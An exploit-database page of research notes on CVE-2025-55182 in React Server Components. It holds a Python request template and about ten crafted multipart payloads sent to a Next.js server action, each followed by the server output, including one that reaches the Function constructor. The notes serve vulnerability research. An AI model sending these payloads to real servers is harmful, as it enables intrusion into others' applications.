Share
## https://sploitus.com/exploit?id=D2880F47-C4A2-5F9F-9FD6-E5E7558CCDEB
# CVE-2025-55182
some notes
template:
```py
#!/usr/bin/env python3
import httpx
c = httpx.Client(base_url="http://localhost:3000")
ACTION_ID = "40215f71f44d409c19d8a149a5538b4444ba69ee0a"
files = {
"0": (None, '["$1:constructor:constructor"]'),
"1": (None, '{"a": "b"}'),
}
r = c.post("/", files=files, headers={"Next-Action": ACTION_ID})
```
relevant code: https://github.com/facebook/react/blob/bf1afade8d95d2ef6e862d995ee74921ca8d47c7/packages/react-server/src/ReactFlightServer.js#L2787-L2805 (and more)
## some examples
```js
files = {
0: (None, '["$1:constructor:constructor"]'),
1: (None, '{"a": "b"}'),
};
```
```js
Received: [Function: Function]
POST / 200 in 25ms (compile: 9ms, render: 16ms)
```
---
```js
files = {
0: (None, '["$1"]'),
1: (None, "$@"),
};
```
```js
Received: Promise {
status: 'rejected',
value: null,
reason: Error: Connection closed.
at ignore-listed frames,
_response: {
_bundlerConfig: {},
_prefix: '',
_formData: FormData { '0': '["$1"]', '1': '"$@"' },
_chunks: Map(3) { 0 => [Promise], 1 => [Promise], NaN => [Circular *1] },
_closed: true,
_closedReason: Error: Connection closed.
at ignore-listed frames,
_temporaryReferences: WeakMap { }
}
}
POST / 200 in 819ms (compile: 13ms, render: 807ms)
```
---
```py
files = {
"0": (None, '["$F"]'),
}
```
```js
TypeError: chunk.reason.error is not a function
at ignore-listed frames
⨯ uncaughtException: TypeError: chunk.reason.error is not a function
at ignore-listed frames
⨯ uncaughtException: TypeError: chunk.reason.error is not a function
at ignore-listed frames
⨯ TypeError: Cannot read properties of null (reading 'id')
at ignore-listed frames {
digest: '1245562877'
}
POST / 500 in 1687ms (compile: 10ms, render: 1677ms)
```
---
```py
files = {
"0": (None, '["$T"]'),
}
```
```js
Received: [Function (anonymous)]
⨯ Error: Cannot access toString on the server. You cannot dot into a temporary client reference from a server component. You can only pass the value through to the client.
at String ()
at testAction (src/app/actions.ts:4:13)
2 |
3 | export async function testAction(formData: FormData) {
> 4 | console.log("Received:", formData);
| ^
5 | return { ok: true };
6 | } {
digest: '3477126180'
}
POST / 500 in 593ms (compile: 11ms, render: 582ms)
```
---
```py
files = {
"0": (None, '{"then":"$T"}'),
}
```
```js
POST / 500 in 598ms (compile: 15ms, render: 583ms)
⨯ Error: Attempted to call a temporary Client Reference from the server but it is on the client. It's not possible to invoke a client function from the server, it can only be rendered as a Component or passed to props of a Client Component.
at ignore-listed frames {
digest: '1436212446'
}
POST / 500 in 541ms (compile: 16ms, render: 525ms)
```
---
```py
files = {
"0": (None, '["$1:_response"]'),
"1": (None, '"$@"')
}
```
```js
Received: {
_bundlerConfig: {},
_prefix: '',
_formData: FormData { '0': '["$1:_response"]', '1': '"$@"' },
_chunks: Map(3) {
0 => Promise {
status: 'fulfilled',
value: [Array],
reason: [Array],
_response: [Circular *1]
},
1 => Promise {
status: 'fulfilled',
value: [Promise],
reason: null,
_response: [Circular *1]
},
NaN => Promise {
status: 'rejected',
value: null,
reason: Error: Connection closed.
at ignore-listed frames,
_response: [Circular *1]
}
},
_closed: true,
_closedReason: Error: Connection closed.
at ignore-listed frames,
_temporaryReferences: WeakMap { }
}
POST / 200 in 927ms (compile: 4ms, render: 923ms)
```
---
```py
files = {
"0": (None, '["$S"]'),
}
```
```js
⨯ TypeError: Cannot read properties of null (reading 'arrayBuffer')
at ignore-listed frames {
digest: '2340683818'
}
POST / 500 in 435ms (compile: 11ms, render: 424ms)
```
---
```py
files = {
"0": (None, '["$1"]'),
"1": (None, '"$0"'),
}
```
times out
---
```py
files = {
"0": (None, '{"then":"$1:getAll"}'),
"1": (None, '"$2:_response:_formData"'),
"2": (None, '"$@"'),
}
```
```js
⨯ TypeError: Illegal invocation
at ignore-listed frames {
code: 'ERR_INVALID_THIS',
digest: '1625121216'
}
POST / 500 in 23ms (compile: 4ms, render: 19ms)
```
---
```py
files = {
"0": (None, '{"then":"$1:call"}'),
"1": (None, '"$2:constructor"'),
"2": (None, '{"a":0}'),
}
```
```js
⨯ TypeError: runMicrotasks is not a function
at ignore-listed frames {
digest: '2378694217'
}
POST / 500 in 20ms (compile: 4ms, render: 16ms)
```